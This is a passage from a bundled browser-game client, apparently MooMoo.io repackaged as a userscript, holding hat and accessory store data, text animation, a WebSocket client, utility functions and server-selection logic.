                    price: 10000,
                    scale: 120,
                    desc: "melee attacks deal poison damage",
                    poisonDmg: 5,
                    poisonTime: 6
                }, {
                    id: 46,
                    name: "Bull Mask",
                    price: 10000,
                    scale: 120,
                    desc: "bulls won't target you unless you attack them",
                    bullRepel: 1
                }, {
                    id: 14,
                    name: "Windmill Hat",
                    topSprite: true,
                    price: 10000,
                    scale: 120,
                    desc: "generates points while worn",
                    pps: 1.5
                }, {
                    id: 11,
                    name: "Spike Gear",
                    topSprite: true,
                    price: 10000,
                    scale: 120,
                    desc: "deal damage to players that damage you",
                    dmg: 0.45
                }, {
                    id: 53,
                    name: "Turret Gear",
                    topSprite: true,
                    price: 10000,
                    scale: 120,
                    desc: "you become a walking turret",
                    turret: {
                        proj: 1,
                        range: 700,
                        rate: 2500
                    },
                    spdMult: 0.7
                }, {
                    id: 20,
                    name: "Samurai Armor",
                    price: 12000,
                    scale: 120,
                    desc: "increased attack speed and fire rate",
                    atkSpd: 0.78
                }, {
                    id: 58,
                    name: "Dark Knight",
                    price: 12000,
                    scale: 120,
                    desc: "restores health when you deal damage",
                    healD: 0.4
                }, {
                    id: 27,
                    name: "Scavenger Gear",
                    price: 15000,
                    scale: 120,
                    desc: "earn double points for each kill",
                    kScrM: 2
                }, {
                    id: 40,
                    name: "Tank Gear",
                    price: 15000,
                    scale: 120,
                    desc: "increased damage to buildings but slower movement",
                    spdMult: 0.3,
                    bDmg: 3.3
                }, {
                    id: 52,
                    name: "Thief Gear",
                    price: 15000,
                    scale: 120,
                    desc: "steal half of a players gold when you kill them",
                    goldSteal: 0.5
                }, {
                    id: 55,
                    name: "Bloodthirster",
                    price: 20000,
                    scale: 120,
                    desc: "Restore Health when dealing damage. And increased damage",
                    healD: 0.25,
                    dmgMultO: 1.2,
                }, {
                    id: 56,
                    name: "Assassin Gear",
                    price: 20000,
                    scale: 120,
                    desc: "Go invisible when not moving. Can't eat. Increased speed",
                    noEat: true,
                    spdMult: 1.1,
                    invisTimer: 1000
                }];

                // STORE ACCESSORIES:
                module.exports.accessories = [{
                    id: 12,
                    name: "Snowball",
                    price: 1000,
                    scale: 105,
                    xOff: 18,
                    desc: "no effect"
                }, {
                    id: 9,
                    name: "Tree Cape",
                    price: 1000,
                    scale: 90,
                    desc: "no effect"
                }, {
                    id: 10,
                    name: "Stone Cape",
                    price: 1000,
                    scale: 90,
                    desc: "no effect"
                }, {
                    id: 3,
                    name: "Cookie Cape",
                    price: 1500,
                    scale: 90,
                    desc: "no effect"
                }, {
                    id: 8,
                    name: "Cow Cape",
                    price: 2000,
                    scale: 90,
                    desc: "no effect"
                }, {
                    id: 11,
                    name: "Monkey Tail",
                    price: 2000,
                    scale: 97,
                    xOff: 25,
                    desc: "Super speed but reduced damage",
                    spdMult: 1.35,
                    dmgMultO: 0.2
                }, {
                    id: 17,
                    name: "Apple Basket",
                    price: 3000,
                    scale: 80,
                    xOff: 12,
                    desc: "slowly regenerates health over time",
                    healthRegen: 1
                }, {
                    id: 6,
                    name: "Winter Cape",
                    price: 3000,
                    scale: 90,
                    desc: "no effect"
                }, {
                    id: 4,
                    name: "Skull Cape",
                    price: 4000,
                    scale: 90,
                    desc: "no effect"
                }, {
                    id: 5,
                    name: "Dash Cape",
                    price: 5000,
                    scale: 90,
                    desc: "no effect"
                }, {
                    id: 2,
                    name: "Dragon Cape",
                    price: 6000,
                    scale: 90,
                    desc: "no effect"
                }, {
                    id: 1,
                    name: "Super Cape",
                    price: 8000,
                    scale: 90,
                    desc: "no effect"
                }, {
                    id: 7,
                    name: "Troll Cape",
                    price: 8000,
                    scale: 90,
                    desc: "no effect"
                }, {
                    id: 14,
                    name: "Thorns",
                    price: 10000,
                    scale: 115,
                    xOff: 20,
                    desc: "no effect"
                }, {
                    id: 15,
                    name: "Blockades",
                    price: 10000,
                    scale: 95,
                    xOff: 15,
                    desc: "no effect"
                }, {
                    id: 20,
                    name: "Devils Tail",
                    price: 10000,
                    scale: 95,
                    xOff: 20,
                    desc: "no effect"
                }, {
                    id: 16,
                    name: "Sawblade",
                    price: 12000,
                    scale: 90,
                    spin: true,
                    xOff: 0,
                    desc: "deal damage to players that damage you",
                    dmg: 0.15
                }, {
                    id: 13,
                    name: "Angel Wings",
                    price: 15000,
                    scale: 138,
                    xOff: 22,
                    desc: "slowly regenerates health over time",
                    healthRegen: 3
                }, {
                    id: 19,
                    name: "Shadow Wings",
                    price: 15000,
                    scale: 138,
                    xOff: 22,
                    desc: "increased movement speed",
                    spdMult: 1.1
                }, {
                    id: 18,
                    name: "Blood Wings",
                    price: 20000,
                    scale: 178,
                    xOff: 26,
                    desc: "restores health when you deal damage",
                    healD: 0.2
                }, {
                    id: 21,
                    name: "Corrupt X Wings",
                    price: 20000,
                    scale: 178,
                    xOff: 26,
                    desc: "deal damage to players that damage you",
                    dmg: 0.25
                }];


                /***/ }),

            /***/ "./src/js/libs/animText.js":
            /*!*********************************!*\
      !*** ./src/js/libs/animText.js ***!
      \*********************************/
            /*! no static exports found */
            /***/ (function(module, exports) {


                // ANIMATED TEXT:
                module.exports.AnimText = function() {

                    // INIT:
                    this.init = function(x, y, scale, speed, life, text, color) {
                        this.x = x;
                        this.y = y;
                        this.color = color;
                        this.scale = scale;
                        this.startScale = this.scale;
                        this.maxScale = scale * 1.5;
                        this.scaleSpeed = 0.7;
                        this.speed = speed;
                        this.life = life;
                        this.text = text;
                    };

                    // UPDATE:
                    this.update = function(delta) {
                        if (this.life) {
                            this.life -= delta;
                            this.y -= this.speed * delta;
                            this.scale += this.scaleSpeed * delta;
                            if (this.scale >= this.maxScale) {
                                this.scale = this.maxScale;
                                this.scaleSpeed *= -1;
                            } else if (this.scale <= this.startScale) {
                                this.scale = this.startScale;
                                this.scaleSpeed = 0;
                            }
                            if (this.life <= 0) {
                                this.life = 0;
                            }
                        }
                    };

                    // RENDER:
                    this.render = function(ctxt, xOff, yOff) {
                        ctxt.fillStyle = this.color;
                        ctxt.font = this.scale + "px Hammersmith One";
                        ctxt.fillText(this.text, this.x - xOff, this.y - yOff);
                    };

                }

                // TEXT MANAGER:
                module.exports.TextManager = function() {
                    this.texts = [];

                    // UPDATE:
                    this.update = function(delta, ctxt, xOff, yOff) {
                        ctxt.textBaseline = "middle";
                        ctxt.textAlign = "center";
                        for (var i = 0; i < this.texts.length; ++i) {
                            if (this.texts[i].life) {
                                this.texts[i].update(delta);
                                this.texts[i].render(ctxt, xOff, yOff);
                            }
                        }
                    };

                    // SHOW TEXT:
                    this.showText = function(x, y, scale, speed, life, text, color) {
                        var tmpText;
                        for (var i = 0; i < this.texts.length; ++i) {
                            if (!this.texts[i].life) {
                                tmpText = this.texts[i];
                                break;
                            }
                        }
                        if (!tmpText) {
                            tmpText = new module.exports.AnimText();
                            this.texts.push(tmpText);
                        }
                        tmpText.init(x, y, scale, speed, life, text, color);
                    };
                }


                /***/ }),

            /***/ "./src/js/libs/io-client.js":
            /*!**********************************!*\
      !*** ./src/js/libs/io-client.js ***!
      \**********************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                var msgpack = __webpack_require__(/*! msgpack-lite */ "./node_modules/msgpack-lite/lib/browser.js");
                var config = __webpack_require__(/*! ../config */ "./src/js/config.js");

                module.exports = {
                    socket: null,
                    connected: false,
                    socketId: -1,
                    connect: function(address, callback, events) {
                        if (this.socket) return;

                        // CREATE SOCKET:
                        var _this = this;
                        try {
                            var socketError = false;
                            var socketAddress = address;
                            this.socket = new WebSocket(socketAddress);
                            this.socket.binaryType = "arraybuffer";
                            this.socket.onmessage = function(message) {

                                // PARSE MESSAGE:
                                var data = new Uint8Array(message.data);
                                var parsed = msgpack.decode(data);
                                var type = parsed[0];
                                var data = parsed[1];

                                // CALL EVENT:
                                if (type == "io-init") {
                                    _this.socketId = data[0];
                                } else {
                                    events[type].apply(undefined, data);
                                }
                            };
                            this.socket.onopen = function() {
                                _this.connected = true;
                                callback();
                            };
                            this.socket.onclose = function(event) {
                                _this.connected = false;
                                if (event.code == 4001) {
                                    callback("Invalid Connection");
                                } else if (!socketError) {
                                    callback("disconnected");
                                }
                            };
                            this.socket.onerror = function(error) {
                                if (this.socket && this.socket.readyState != WebSocket.OPEN) {
                                    socketError = true;
                                    console.error("Socket error", arguments);
                                    callback("Socket error");
                                }
                            };
                        } catch(e) {
                            console.warn("Socket connection error:", e);
                            callback(e);
                        }
                    },
                    send: function(type) {
                        // EXTRACT DATA ARRAY:
                        var data = Array.prototype.slice.call(arguments, 1);

                        // SEND MESSAGE:
                        var binary = msgpack.encode([type, data]);
                        this.socket.send(binary);
                    },
                    socketReady: function() {
                        return (this.socket && this.connected);
                    },
                    close: function() {
                        this.socket && this.socket.close();
                    }
                };


                /***/ }),

            /***/ "./src/js/libs/modernizr.js":
            /*!**********************************!*\
      !*** ./src/js/libs/modernizr.js ***!
      \**********************************/
            /*! no static exports found */
            /***/ (function(module, exports) {

                !function(e,n,s){function o(e,n){return typeof e===n}function a(){var e,n,s,a,t,f,l;for(var c in r)if(r.hasOwnProperty(c)){if(e=[],n=r[c],n.name&&(e.push(n.name.toLowerCase()),n.options&&n.options.aliases&&n.options.aliases.length))for(s=0;s<n.options.aliases.length;s++)e.push(n.options.aliases[s].toLowerCase());for(a=o(n.fn,"function")?n.fn():n.fn,t=0;t<e.length;t++)f=e[t],l=f.split("."),1===l.length?Modernizr[l[0]]=a:(!Modernizr[l[0]]||Modernizr[l[0]]instanceof Boolean||(Modernizr[l[0]]=new Boolean(Modernizr[l[0]])),Modernizr[l[0]][l[1]]=a),i.push((a?"":"no-")+l.join("-"))}}function t(e){var n=l.className,s=Modernizr._config.classPrefix||"";if(c&&(n=n.baseVal),Modernizr._config.enableJSClass){var o=new RegExp("(^|\\s)"+s+"no-js(\\s|$)");n=n.replace(o,"$1"+s+"js$2")}Modernizr._config.enableClasses&&(n+=" "+s+e.join(" "+s),c?l.className.baseVal=n:l.className=n)}var i=[],r=[],f={_version:"3.5.0",_config:{classPrefix:"",enableClasses:!0,enableJSClass:!0,usePrefixes:!0},_q:[],on:function(e,n){var s=this;setTimeout(function(){n(s[e])},0)},addTest:function(e,n,s){r.push({name:e,fn:n,options:s})},addAsyncTest:function(e){r.push({name:null,fn:e})}},Modernizr=function(){};Modernizr.prototype=f,Modernizr=new Modernizr;var l=n.documentElement,c="svg"===l.nodeName.toLowerCase();Modernizr.addTest("passiveeventlisteners",function(){var n=!1;try{var s=Object.defineProperty({},"passive",{get:function(){n=!0}});e.addEventListener("test",null,s)}catch(o){}return n}),a(),t(i),delete f.addTest,delete f.addAsyncTest;for(var u=0;u<Modernizr._q.length;u++)Modernizr._q[u]();e.Modernizr=Modernizr}(window,document);


                /***/ }),

            /***/ "./src/js/libs/soundManager.js":
            /*!*************************************!*\
      !*** ./src/js/libs/soundManager.js ***!
      \*************************************/
            /*! no static exports found */
            /***/ (function(module, exports) {


                // PLAYER MANAGER:
                module.exports.obj = function(config, UTILS) {

                    // INIT:
                    var tmpSound;
                    this.sounds = [];
                    this.active = true;

                    // PLAY SOUND:
                    this.play = function(id, volume, loop) {
                        if (!volume || !this.active) return;
                        tmpSound = this.sounds[id];
                        if (!tmpSound) {
                            tmpSound = new Howl({
                                src: ".././sound/" + id + ".mp3"
                            });
                            this.sounds[id] = tmpSound;
                        }
                        if (!loop || !tmpSound.isPlaying) {
                            tmpSound.isPlaying = true;
                            tmpSound.play();
                            tmpSound.volume((volume||1)*config.volumeMult);
                            tmpSound.loop(loop);
                        }
                    };

                    // TOGGLE MUTE:
                    this.toggleMute = function(id, mute) {
                        tmpSound = this.sounds[id];
                        if (tmpSound) tmpSound.mute(mute);
                    };

                    // STOP SOUND:
                    this.stop = function(id) {
                        tmpSound = this.sounds[id];
                        if (tmpSound) {
                            tmpSound.stop();
                            tmpSound.isPlaying = false;
                        }
                    };

                };


                /***/ }),

            /***/ "./src/js/libs/utils.js":
            /*!******************************!*\
      !*** ./src/js/libs/utils.js ***!
      \******************************/
            /*! no static exports found */
            /***/ (function(module, exports) {


                // MATH UTILS:
                var mathABS = Math.abs;
                var mathCOS = Math.cos;
                var mathSIN = Math.sin;
                var mathPOW = Math.pow;
                var mathSQRT = Math.sqrt;
                var mathABS = Math.abs;
                var mathATAN2 = Math.atan2;
                var mathPI = Math.PI;

                // GLOBAL UTILS:
                module.exports.randInt = function (min, max) {
                    return Math.floor(Math.random() * (max - min + 1)) + min;
                };
                module.exports.randFloat = function (min, max) {
                    return Math.random() * (max - min + 1) + min;
                };
                module.exports.lerp = function (value1, value2, amount) {
                    return value1 + (value2 - value1) * amount;
                };
                module.exports.decel = function (val, cel) {
                    if (val > 0)
                        val = Math.max(0, val - cel);
                    else if (val < 0)
                        val = Math.min(0, val + cel);
                    return val;
                };
                module.exports.getDistance = function (x1, y1, x2, y2) {
                    return mathSQRT((x2 -= x1) * x2 + (y2 -= y1) * y2);
                };
                module.exports.getDirection = function (x1, y1, x2, y2) {
                    return mathATAN2(y1 - y2, x1 - x2);
                };
                module.exports.getAngleDist = function (a, b) {
                    var p = mathABS(b - a) % (mathPI * 2);
                    return (p > mathPI ? (mathPI * 2) - p : p);
                };
                module.exports.isNumber = function (n) {
                    return (typeof n == "number" && !isNaN(n) && isFinite(n));
                };
                module.exports.isString = function (s) {
                    return (s && typeof s == "string");
                };
                module.exports.kFormat = function (num) {
                    return num > 999 ? (num / 1000).toFixed(1) + 'k' : num;
                };
                module.exports.capitalizeFirst = function (string) {
                    return string.charAt(0).toUpperCase() + string.slice(1);
                };
                module.exports.fixTo = function (n, v) {
                    return parseFloat(n.toFixed(v));
                };
                module.exports.sortByPoints = function (a, b) {
                    return parseFloat(b.points) - parseFloat(a.points);
                };
                module.exports.lineInRect = function (recX, recY, recX2, recY2, x1, y1, x2, y2) {
                    var minX = x1;
                    var maxX = x2;
                    if (x1 > x2) {
                        minX = x2;
                        maxX = x1;
                    }
                    if (maxX > recX2)
                        maxX = recX2;
                    if (minX < recX)
                        minX = recX;
                    if (minX > maxX)
                        return false;
                    var minY = y1;
                    var maxY = y2;
                    var dx = x2 - x1;
                    if (Math.abs(dx) > 0.0000001) {
                        var a = (y2 - y1) / dx;
                        var b = y1 - a * x1;
                        minY = a * minX + b;
                        maxY = a * maxX + b;
                    }
                    if (minY > maxY) {
                        var tmp = maxY;
                        maxY = minY;
                        minY = tmp;
                    }
                    if (maxY > recY2)
                        maxY = recY2;
                    if (minY < recY)
                        minY = recY;
                    if (minY > maxY)
                        return false;
                    return true;
                };
                module.exports.containsPoint = function (element, x, y) {
                    var bounds = element.getBoundingClientRect();
                    var left = bounds.left + window.scrollX;
                    var top = bounds.top + window.scrollY;
                    var width = bounds.width;
                    var height = bounds.height;

                    var insideHorizontal = x > left && x < left + width;
                    var insideVertical = y > top && y < top + height;
                    return insideHorizontal && insideVertical;
                };
                module.exports.mousifyTouchEvent = function(event) {
                    var touch = event.changedTouches[0];
                    event.screenX = touch.screenX;
                    event.screenY = touch.screenY;
                    event.clientX = touch.clientX;
                    event.clientY = touch.clientY;
                    event.pageX = touch.pageX;
                    event.pageY = touch.pageY;
                };
                module.exports.hookTouchEvents = function (element, skipPrevent) {
                    var preventDefault = !skipPrevent;
                    var isHovering = false;
                    // var passive = window.Modernizr.passiveeventlisteners ? {passive: true} : false;
                    var passive = false;
                    element.addEventListener("touchstart", module.exports.checkTrusted(touchStart), passive);
                    element.addEventListener("touchmove", module.exports.checkTrusted(touchMove), passive);
                    element.addEventListener("touchend", module.exports.checkTrusted(touchEnd), passive);
                    element.addEventListener("touchcancel", module.exports.checkTrusted(touchEnd), passive);
                    element.addEventListener("touchleave", module.exports.checkTrusted(touchEnd), passive);
                    function touchStart(e) {
                        module.exports.mousifyTouchEvent(e);
                        window.setUsingTouch(true);
                        if (preventDefault) {
                            e.preventDefault();
                            e.stopPropagation();
                        }
                        if (element.onmouseover)
                            element.onmouseover(e);
                        isHovering = true;
                    }
                    function touchMove(e) {
                        module.exports.mousifyTouchEvent(e);
                        window.setUsingTouch(true);
                        if (preventDefault) {
                            e.preventDefault();
                            e.stopPropagation();
                        }
                        if (module.exports.containsPoint(element, e.pageX, e.pageY)) {
                            if (!isHovering) {
                                if (element.onmouseover)
                                    element.onmouseover(e);
                                isHovering = true;
                            }
                        } else {
                            if (isHovering) {
                                if (element.onmouseout)
                                    element.onmouseout(e);
                                isHovering = false;
                            }
                        }
                    }
                    function touchEnd(e) {
                        module.exports.mousifyTouchEvent(e);
                        window.setUsingTouch(true);
                        if (preventDefault) {
                            e.preventDefault();
                            e.stopPropagation();
                        }
                        if (isHovering) {
                            if (element.onclick)
                                element.onclick(e);
                            if (element.onmouseout)
                                element.onmouseout(e);
                            isHovering = false;
                        }
                    }
                };
                module.exports.removeAllChildren = function (element) {
                    while (element.hasChildNodes()) {
                        element.removeChild(element.lastChild);
                    }
                };
                module.exports.generateElement = function (config) {
                    var element = document.createElement(config.tag || "div");
                    function bind(configValue, elementValue) {
                        if (config[configValue])
                            element[elementValue] = config[configValue];
                    }
                    bind("text", "textContent");
                    bind("html", "innerHTML");
                    bind("class", "className");
                    for (var key in config) {
                        switch (key) {
                            case "tag":
                            case "text":
                            case "html":
                            case "class":
                            case "style":
                            case "hookTouch":
                            case "parent":
                            case "children":
                                continue;
                            default:
                                break;
                        }
                        element[key] = config[key];
                    }
                    if (element.onclick)
                        element.onclick = module.exports.checkTrusted(element.onclick);
                    if (element.onmouseover)
                        element.onmouseover = module.exports.checkTrusted(element.onmouseover);
                    if (element.onmouseout)
                        element.onmouseout = module.exports.checkTrusted(element.onmouseout);
                    if (config.style) {
                        element.style.cssText = config.style;
                    }
                    if (config.hookTouch) {
                        module.exports.hookTouchEvents(element);
                    }
                    if (config.parent) {
                        config.parent.appendChild(element);
                    }
                    if (config.children) {
                        for (var i = 0; i < config.children.length; i++) {
                            element.appendChild(config.children[i]);
                        }
                    }
                    return element;
                }
                module.exports.eventIsTrusted = function(ev) {
                    if (ev && typeof ev.isTrusted == "boolean") {
                        return ev.isTrusted;
                    } else {
                        return true;
                    }
                }
                module.exports.checkTrusted = function(callback) {
                    return function(ev) {
                        if (ev && ev instanceof Event && module.exports.eventIsTrusted(ev)) {
                            callback(ev);
                        } else {
                            //console.error("Event is not trusted.", ev);
                        }
                    }
                }
                module.exports.randomString = function(length) {
                    var text = "";
                    var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
                    for (var i = 0; i < length; i++) {
                        text += possible.charAt(Math.floor(Math.random() * possible.length));
                    }
                    return text;
                };
                module.exports.countInArray = function(array, val) {
                    var count = 0;
                    for (var i = 0; i < array.length; i++) {
                        if (array[i] === val) count++;
                    } return count;
                };


                /***/ }),

            /***/ "./vultr/VultrClient.js":
            /*!******************************!*\
      !*** ./vultr/VultrClient.js ***!
      \******************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                var url = __webpack_require__(/*! url */ "./node_modules/url/url.js");
                var md5 = __webpack_require__(/*! md5 */ "./node_modules/md5/md5.js");

                function VultrClient(baseUrl, devPort, lobbySize, lobbySpread, rawIPs) {
                    // Redirect from "localhost" to "127.0.0.1" if needed; this is because the server
                    // manager uses "127.0.0.1" as the home
                    if (location.hostname == "localhost") {
                        window.location.hostname = "127.0.0.1";
                    }

                    // Don't log anything
                    this.debugLog = false;

                    // Save the base data
                    this.baseUrl = baseUrl;
                    this.lobbySize = lobbySize;
                    this.devPort = devPort;
                    this.lobbySpread = lobbySpread;
                    this.rawIPs = !!rawIPs;

                    // Default data
                    this.server = undefined;
                    this.gameIndex = undefined;

                    // Callback for the client
                    this.callback = undefined;
                    this.errorCallback = undefined;

                    // Process the servers
                    this.processServers(unsafeWindow.vultr.servers);
                }

                VultrClient.prototype.regionInfo = {
                    0: { name: "Local", latitude: 0, longitude: 0 },
                    "vultr:1": { name: "New Jersey", latitude: 40.1393329, longitude: -75.8521818 },
                    "vultr:2": { name: "Chicago", latitude: 41.8339037, longitude: -87.872238 },
                    "vultr:3": { name: "Dallas", latitude: 32.8208751, longitude: -96.8714229 },
                    "vultr:4": { name: "Seattle", latitude: 47.6149942, longitude: -122.4759879 },
                    "vultr:5": { name: "Los Angeles", latitude: 34.0207504, longitude: -118.691914 },
                    "vultr:6": { name: "Atlanta", latitude: 33.7676334, longitude: -84.5610332 },
                    "vultr:7": { name: "Amsterdam", latitude: 52.3745287, longitude: 4.7581878 },
                    "vultr:8": { name: "London", latitude: 51.5283063, longitude: -0.382486 },
                    "vultr:9": { name: "Frankfurt", latitude: 50.1211273, longitude: 8.496137 },
                    "vultr:12": { name: "Silicon Valley", latitude: 37.4024714, longitude: -122.3219752 },
                    "vultr:19": { name: "Sydney", latitude: -33.8479715, longitude: 150.651084 },
                    "vultr:24": { name: "Paris", latitude: 48.8588376, longitude: 2.2773454 },
                    "vultr:25": { name: "Tokyo", latitude: 35.6732615, longitude: 139.569959 },
                    "vultr:39": { name: "Miami", latitude: 25.7823071, longitude: -80.3012156 },
                    "vultr:40": { name: "Singapore", latitude: 1.3147268, longitude: 103.7065876 }
                };

                VultrClient.prototype.start = function(callback, errorCallback) {
                    // Set the callback
                    this.callback = callback;
                    this.errorCallback = errorCallback;

                    // Parse the query for a server; if doesn't exist, ping the servers to find
                    // the right one
                    var query = this.parseServerQuery();
                    if (query) {
                        this.log("Found server in query.");
                        this.password = query[3];
                        this.connect(query[0], query[1], query[2]);
                    } else {
                        this.log("Pinging servers...");
                        this.pingServers();
                    }
                };

                VultrClient.prototype.parseServerQuery = function() {
                    // Get the server from the query
                    var parsed = url.parse(location.href, true);
                    var serverRaw = parsed.query.server;
                    if (typeof serverRaw != "string") {
                        return;
                    }

                    // Parse the server string
                    var split = serverRaw.split(":");
                    if (split.length != 3) {
                        this.errorCallback("Invalid number of server parameters in " + serverRaw);
                        return;
                    }
                    var region = split[0];
                    var index = parseInt(split[1]);
                    var gameIndex = parseInt(split[2]);

                    if (region != "0" && !region.startsWith("vultr:")) {
                        region = "vultr:" + region;
                    }

                    return [region, index, gameIndex, parsed.query.password];
                };

                VultrClient.prototype.findServer = function(region, index) {
                    // Find the list of servers for the region
                    var serverList = this.servers[region];
                    if (!Array.isArray(serverList)) {
                        this.errorCallback("No server list for region " + region);
                        return;
                    }

                    // Find the server matching the index
                    for (var i = 0; i < serverList.length; i++) {
                        var server = serverList[i];

                        if (server.index == index) {
                            return server;
                        }
                    }

                    // Otherwise, return nothing
                    console.warn("Could not find server in region " + region + " with index " + index + ".");
                    return;
                };

                VultrClient.prototype.pingServers = function() {
                    var _this = this;

                    // Ping random servers from each region
                    var requests = [];
                    for (var region in this.servers) {
                        // Find the server to ping
                        if (!this.servers.hasOwnProperty(region)) continue;
                        var serverList = this.servers[region];
                        var targetServer = serverList[Math.floor(Math.random() * serverList.length)];

                        // Handle no server
                        if (targetServer == undefined) {
                            console.log("No target server for region " + region);
                            continue;
                        }

                        // Ping the server
                        (function(serverList, targetServer) {
                            var request = new XMLHttpRequest();
                            request.onreadystatechange = function(requestEvent) {
                                var request = requestEvent.target;

                                // Ensure that the request finished
                                if (request.readyState != 4)
                                    return;

                                if (request.status == 200) {
                                    // Stop all other ping requests
                                    for (var i = 0; i < requests.length; i++) {
                                        requests[i].abort();
                                    }

                                    _this.log("Connecting to region", targetServer.region);

                                    // Seek the appropriate server
                                    var targetGame = _this.seekServer(targetServer.region);
                                    _this.connect(targetGame[0], targetGame[1], targetGame[2]);
                                } else {
                                    console.warn("Error pinging " + targetServer.ip + " in region " + region);
                                }
                            };

                            var targetAddress = "//" + _this.serverAddress(targetServer.ip, true) + ":" + _this.serverPort(targetServer) + "/ping";
                            request.open("GET", targetAddress, true);
                            request.send(null);

                            _this.log("Pinging", targetAddress);

                            // Save the request
                            requests.push(request);
                        })(serverList, targetServer);
                    }
                };

                /// Finds a new server; region is the index of the region to look in; game mode is the mode to search for;
                /// reload is wether a connection should be created or the page should be redirected
                VultrClient.prototype.seekServer = function(region, isPrivate, gameMode) {
                    if (gameMode == undefined) {
                        gameMode = "random";
                    }
                    if (isPrivate == undefined) {
                        isPrivate = false;
                    }

                    // Define configuration
                    const gameModeList = [ "random" ];
                    var lobbySize = this.lobbySize;
                    var lobbySpread = this.lobbySpread;

                    // Sort the servers by player count then filter by available servers
                    var servers = this.servers[region]
                    .flatMap(function(s) {
                        // Map the servers to { region, index, gameIndex, gameCount, playerCount, isPrivate } where index is from 0 to (total servers * games per server)
                        // This way, we can decompose the index again later to find the server amd game index
                        var gameIndex = 0;
                        return s.games.map(function(g) {
                            var currentGameIndex = gameIndex++;
                            return {
                                region: s.region,
                                index: s.index * s.games.length + currentGameIndex,
                                gameIndex: currentGameIndex,
                                gameCount: s.games.length,
                                playerCount: g.playerCount,
                                isPrivate: g.isPrivate
                            }
                        });
                    })
                    .filter(function(s) {
                        // Remove private games
                        return !s.isPrivate;
                    })
                    .filter(function(s) {
                        // If private, only find rooms that are empty and have a large enough index
                        if (isPrivate) {
                            return s.playerCount == 0 && s.gameIndex >= s.gameCount / 2;
                        } else {
                            return true;
                        }
                    })
                    .filter(function(s) {
                        // If not a random game mode, filter them to the proper mode
                        if (gameMode == "random") {
                            return true;
                        } else {
                            return gameModeList[s.index % gameModeList.length].key == gameMode;
                        }
                    })
                    .sort(function(a, b) { return b.playerCount - a.playerCount })
                    .filter(function(s) { return s.playerCount < lobbySize });

                    // Reverse the server list so private servers are at the end of the list
                    if (isPrivate) {
                        servers.reverse();
                    }

                    // Handle no available servers
                    if (servers.length == 0) {
                        this.errorCallback("No open servers.");
                        return;
                    }

                    // Pick a random server; `lobbySpread` defines how many top lobbies to spread the players
                    // over
                    var randomSpread = Math.min(lobbySpread, servers.length);
                    var serverIndex = Math.floor(Math.random() * randomSpread);
                    serverIndex = Math.min(serverIndex, servers.length - 1);
                    var rawServer = servers[serverIndex];

                    // Extract the information from the raw server
                    var serverRegion = rawServer.region;
                    var serverIndex = Math.floor(rawServer.index / rawServer.gameCount);
                    var gameIndex = rawServer.index % rawServer.gameCount;
                    this.log("Found server.");

                    // Determine what to do with the information
                    return [serverRegion, serverIndex, gameIndex];
                };

                VultrClient.prototype.connect = function(region, index, game) {
                    // Make sure not connected already
                    if (this.connected) {
                        return;
                    }

                    // Find the server with the given data
                    var server = this.findServer(region, index);
                    if (server == undefined) {
                        this.errorCallback("Failed to find server for region " + region + " and index " + index);
                        return;
                    }

                    this.log("Connecting to server", server, "with game index", game);

                    // Check if the server is full
                    if (server.games[game].playerCount >= this.lobbySize) {
                        this.errorCallback("Server is already full.");
                        return;
                    }

                    // Replace the URL
                    window.history.replaceState(document.title, document.title, this.generateHref(region, index, game, this.password));

                    // Save the server
                    this.server = server;
                    this.gameIndex = game;

                    // Return the address and port
                    this.log("Calling callback with address", this.serverAddress(server.ip), "on port", this.serverPort(server), "with game index", game);
                    this.callback(this.serverAddress(server.ip), this.serverPort(server), game);
                };

                VultrClient.prototype.switchServer = function(region, index, game, password) {
                    // Save switching
                    this.switchingServers = true;

                    // Navigate to the server
                    window.location.href = this.generateHref(region, index, game, password);
                };

                VultrClient.prototype.generateHref = function(region, index, game, password) {
                    region = this.stripRegion(region);

                    // Generate HREF
                    var href = "/?server=" + region + ":" + index + ":" + game;
                    if (password) {
                        href += "&password=" + encodeURIComponent(password);
                    }
                    return href;
                };

                /// Returns the server address for an IP using reverse DNS lookup; turn `forceSecure`
                /// on in order to force the server address to go through Cloudflare
                VultrClient.prototype.serverAddress = function(ip, forceSecure) {
                    // Determine the domain to connect to; this way it connects directly to localhost if needed
                    // "903d62ef5d1c2fecdcaeb5e7dd485eff" is the md5 hash for "127.0.0.1"
                    if (ip == "127.0.0.1" || ip == "7f000001" || ip == "903d62ef5d1c2fecdcaeb5e7dd485eff") {
                        // return "127.0.0.1";
                        return window.location.hostname; // This allows for connection over local IP networks
                    } else if (this.rawIPs) {
                        if (forceSecure) {
                            return "ip_" + this.hashIP(ip) + "." + this.baseUrl;
                        } else {
                            return ip;
                        }
                    } else {
                        return "ip_" + ip + "." + this.baseUrl;
                    }
                };

                /// Returns the port to connect to
                VultrClient.prototype.serverPort = function(server) {
                    // Return dev port if development server
                    if (server.region == 0) {
                        return this.devPort;
                    }

                    // Otherwise return the port depending on the protocol
                    return location.protocol.startsWith("https") ? 443 : 80;
                };

                VultrClient.prototype.processServers = function(serverList) {
                    // Group the servers by region
                    var servers = { };
                    for (var i = 0; i < serverList.length; i++) {
                        var server = serverList[i];

                        // Get or create the list
                        var list = servers[server.region];
                        if (list == undefined) {
                            list = [];
                            servers[server.region] = list;
                        }

                        // Add the server
                        list.push(server);
                    }

                    // Sort the servers
                    for (var region in servers) {
                        // Sort the servers
                        servers[region] = servers[region].sort(function(a, b) { return a.index - b.index });
                    }

                    // Save the servers
                    this.servers = servers;
                };

                // TODO: Merge into VultrManager
                /// Converts an IP to a hex string
                VultrClient.prototype.ipToHex = function(ip) {
                    const encoded = ip.split(".") // Split by components
                    .map((component) =>
                         ("00" + parseInt(component).toString(16)) // Parses the component then converts it to a hex
                         .substr(-2) // Ensures there's 2 characters
                        )
                    .join("") // Join the string
                    .toLowerCase(); // Make sure it's lowercase
                    return encoded;
                };

                // TODO: Merge into VultrManager
                /// Hashes an IP to a cryptographically secure string; it does this by converting
                /// the ip to a hex string then doing an md5 hash on the string; e.g. "102.168.1.128" ->
                /// "c0a80180" -> "f8177f9878f2d00df00e51d786d97c0a"
                VultrClient.prototype.hashIP = function(ip) {
                    return md5(this.ipToHex(ip));
                };

                /// Logs debug information
                VultrClient.prototype.log = function() {
                    if (this.debugLog) {
                        return console.log.apply(undefined, arguments);
                    } else if (console.verbose) {
                        return console.verbose.apply(undefined, arguments);
                    }
